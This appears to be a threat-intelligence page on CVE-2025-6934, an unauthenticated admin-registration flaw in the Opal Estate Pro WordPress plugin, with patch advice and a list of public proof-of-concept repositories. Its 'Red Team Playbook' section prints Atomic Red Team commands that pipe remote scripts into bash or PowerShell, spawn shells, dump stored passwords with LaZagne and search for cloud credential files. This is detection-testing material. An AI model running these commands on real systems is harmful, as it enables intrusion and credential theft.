CVE-2025-6934
Overview
This vulnerability is a privilege escalation flaw caused by improper role restriction during user registration in the 'on_regiser_user' function of the Opal Estate Pro – Property Management and Submission WordPress plugin. The root cause is the absence of validation on the user role parameter, allowing arbitrary assignment of roles. The affected component is the user registration process within the plugin, specifically in all versions up to and including 1.7.5.
Vulnerability Description
The Opal Estate Pro – Property Management and Submission plugin for WordPress, used by the FullHouse - Real Estate Responsive WordPress Theme, is vulnerable to privilege escalation via in all versions up to, and including, 1.7.5. This is due to a lack of role restriction during registration in the 'on_regiser_user' function. This makes it possible for unauthenticated attackers to arbitrarily choose the role, including the Administrator role, assigned when registering.
Impact
An unauthenticated attacker can exploit this vulnerability to register an account with Administrator privileges, gaining full control over the WordPress site and its data. This enables complete compromise including content modification, user management, and potential further exploitation of the hosting environment. The attack requires no authentication or user interaction and is exploitable remotely over the network, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Users of the Opal Estate Pro plugin should upgrade to a version later than 1.7.5 where this role assignment validation flaw is corrected. Detailed patch instructions and version updates are available from Wordfence’s advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/5d7b75a4-67b4-4347-91a6-dbf98da5ceaf. Administrators should review plugin updates on the ThemeForest product page and apply the latest secure release promptly to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Opal Estate Pro – Property Management and Submission plugin for WordPress arises from inadequate role restrictions during the user registration process. Specifically, the flaw exists within the 'on_register_user' function, which fails to enforce proper checks on user roles. This oversight allows unauthenticated attackers to manipulate the registration process and assign themselves any role, including that of an Administrator. The implications of this vulnerability are severe, as it undermines the fundamental security model of WordPress, which relies on role-based access control to safeguard sensitive functionalities and data.
Exploitation of this vulnerability can occur through straightforward means. An attacker could craft a registration request that specifies an elevated user role, bypassing the intended restrictions. Once registered, the attacker gains access to the WordPress dashboard with administrative privileges, enabling them to modify site content, install malicious plugins, or even delete critical data. This attack vector is particularly concerning because it does not require any prior authentication, making it accessible to anyone with knowledge of the vulnerable plugin’s functionality. Additionally, the ease of exploitation means that automated scripts could be deployed to target multiple sites using this plugin, significantly amplifying the risk.
The real-world impact of this vulnerability can be catastrophic for businesses relying on the affected plugin. With administrative access, attackers can compromise the integrity of the website, leading to potential data breaches, defacement, or the installation of backdoors for future exploitation. The business risks extend beyond immediate financial losses; they include reputational damage, loss of customer trust, and potential legal ramifications stemming from data protection regulations. Organizations may face downtime, recovery costs, and the need for extensive security audits, which can strain resources and divert attention from core business activities.
To detect and mitigate this vulnerability, organizations should first ensure that they are using the latest version of the Opal Estate Pro plugin, as updates typically address known security issues. Regular audits of user roles and permissions can help identify any unauthorized changes that may have occurred due to exploitation. Implementing additional security measures, such as two-factor authentication for administrative accounts and monitoring for unusual registration patterns, can further reduce the risk of unauthorized access. Additionally, employing web application firewalls (WAF) can help filter out malicious requests before they reach the vulnerable plugin, providing an extra layer of defense.
In conclusion, the vulnerability within the Opal Estate Pro plugin highlights the critical importance of robust role management in web applications. The potential for privilege escalation poses significant threats to the security and integrity of WordPress sites. Organizations must adopt proactive security measures, including timely updates, user role audits, and enhanced authentication protocols, to mitigate the risks associated with such vulnerabilities. By prioritizing security best practices, businesses can better protect themselves against the evolving landscape of cyber threats.
CSURFACE threat intelligence has identified a marked increase in the exploitability of CVE-2025-6934, evidenced by an 11.7% rise in the Exploit Prediction Scoring System (EPSS) score. This uptick correlates with the emergence of multiple new proof-of-concept exploit repositories on public platforms, broadening the toolkit available to threat actors. Although the 7-day trend shows a slight decline, the current EPSS remains near the 96th percentile, indicating sustained high risk. The proliferation of unauthenticated privilege escalation exploits targeting the Opal Estate Pro plugin significantly lowers the barrier for attackers to gain administrative control over vulnerable WordPress installations. This development elevates the threat landscape by increasing the likelihood of successful compromise, especially in environments where patching is delayed. Consequently, defenders must recognize that the window for exploitation is expanding, and the potential impact of attacks leveraging this vulnerability remains critically severe.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
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GitHub PoCs (11)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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Nxploited/CVE-2025-6934
Opal Estate Pro <= 1.7.5 - Unauthenticated Privilege Escalation
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Nxploited | 9 | 2 | 2025-07-01 | View |
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yukinime/CVE-2025-6934
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yukinime | 5 | 3 | 2025-08-27 | View |
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0xgh057r3c0n/CVE-2025-6934
CVE-2025-6934 is a critical vulnerability in the WordPress Opal Estate Pro plugin (<= 1.7.5) that allows unauthenticated...
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0xgh057r3c0n | 5 | 0 | 2025-08-16 | View |
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1atakan1/CVE-2025-6934
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1atakan1 | 3 | 0 | 2026-01-30 | View |
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AnotherSec/CVE-2025-6934
Opal Estate Pro <= 1.7.5 - Unauthenticated Privilege Escalation
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AnotherSec | 2 | 0 | 2025-09-02 | View |
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MrjHaxcore/CVE-2025-6934
CVE-2025-6934 POC
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MrjHaxcore | 1 | 0 | 2025-07-02 | View |
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Jenderal92/WP-CVE-2025-6934
WP-CVE-2025-6934 | Opal Estate Pro <= 1.7.5 - Unauthenticated Privilege Escalation
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Jenderal92 | 0 | 0 | 2025-10-05 | View |
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0xTerror/CVE-2025-6934
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0xTerror | 0 | 0 | 2026-03-13 | View |
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qalesyaSN/CVE-2025-6934
This repository contains a Proof of Concept (PoC) exploit for CVE-2025-6934, a critical vulnerability in WordPress Plugi...
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qalesyaSN | 0 | 0 | 2026-01-19 | View |
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Rosemary1337/CVE-2025-6934
CVE-2025-6934 - Exploit WordPress Opal Estate Pro
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Rosemary1337 | 0 | 0 | 2025-09-08 | View |
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MejbanKadir/CVE-2025-6934-PoC
CVE-2025-6934 Exploit Tool Unauthenticated Administrator Account Creation in WordPress Plugin Opal Estate Pro
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MejbanKadir | 0 | 0 | 2026-03-20 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-122 | Privilege Abuse |
30%
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High | Medium | |
| CAPEC-233 | Privilege Escalation |
30%
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— | — | |
| CAPEC-58 | Restful Privilege Elevation |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2025-6934 |
| wordfence.com |
GitHub CVE
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https://www.wordfence.com/threat-intel/vulnerabilities/id/5d7b75a4-67b4-4347-91a6-dbf98da5ceaf?source=cve |
| themeforest.net |
GitHub CVE
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https://themeforest.net/item/fullhouse-real-estate-responsive-wordpress-theme/16179481 |
| plugins.trac.wordpress.org |
GitHub CVE
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https://plugins.trac.wordpress.org/browser/opal-estate-pro/trunk/inc/user/class-opalestate-user.php#L228 |
| plugins.trac.wordpress.org |
GitHub CVE
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https://plugins.trac.wordpress.org/browser/opal-estate-pro/trunk/inc/user/class-opalestate-user.php#L235 |